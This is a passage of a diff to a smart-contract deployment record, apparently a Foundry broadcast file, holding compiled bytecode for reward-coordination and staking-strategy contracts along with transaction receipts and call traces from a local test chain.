60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000007a69460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220a36edf2d3dce7bfba092e6a7f8c98bee38b143e8f924a4f463353379f1a9adae64736f6c634300081b0033", + "nonce": 15, + "gas_used": 3277944 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x78443a", + "cumulativeGasUsed": "0x320478", "logs": [ { - "address": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82", - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + "address": "0x0b306bf915c4d645ff596e518faf3f9669b97016", + "topics": [ + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" + } + ], + "logsBloom": "0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000" + }, + "block_hash": "0x700953b012a0102f730dca1d6e78b94cb91ba2325a68b64866311a4607619edb", + "block_number": 12 + }, + { + "info": { + "transaction_hash": "0xdbeaad0376d936df8f5bb54707e0b78789158df3505b3401a68e8d7b418ccad3", + "transaction_index": 0, + "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "contract_address": null, + "traces": [ + { + "parent": null, + "children": [ + 1 + ], + "idx": 0, + "trace": { + "depth": 0, + "success": true, + "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "maybe_precompile": null, + "selfdestruct_address": null, + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "CALL", + "value": "0x0", + "data": "0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "output": "0x", + "gas_used": 19615, + "gas_limit": 35906, + "status": "Stop", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, + "logs": [], + "ordering": [ + { + "Call": 0 + } + ] + }, + { + "parent": 0, + "children": [ + 2 ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" - } - ], - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000" - }, - "block_hash": "0x827e43b8d215ee7d37698d40bc036278f8eb90f0355ff831dd25fd32ebd22d88", - "block_number": 8 - }, - { - "info": { - "transaction_hash": "0x52313b68ddd22abd2c1d0f4320f5687a41e1eacadced37c5e339989e6724e408", - "transaction_index": 1, - "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": null, - "contract_address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", - "traces": [ - { - "parent": null, - "children": [], - "idx": 0, + "idx": 1, "trace": { - "depth": 0, + "depth": 1, "success": true, - "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", - "maybe_precompile": false, + "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, - "kind": "CREATE", + "kind": "CALL", "value": "0x0", - "data": "0x60a060405234801561001057600080fd5b50604051611d33380380611d3383398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611bc761016c60003960008181610216015281816107a801528181610b490152610c130152611bc76000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000000000000000000000000000000000000000000081565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c65737320746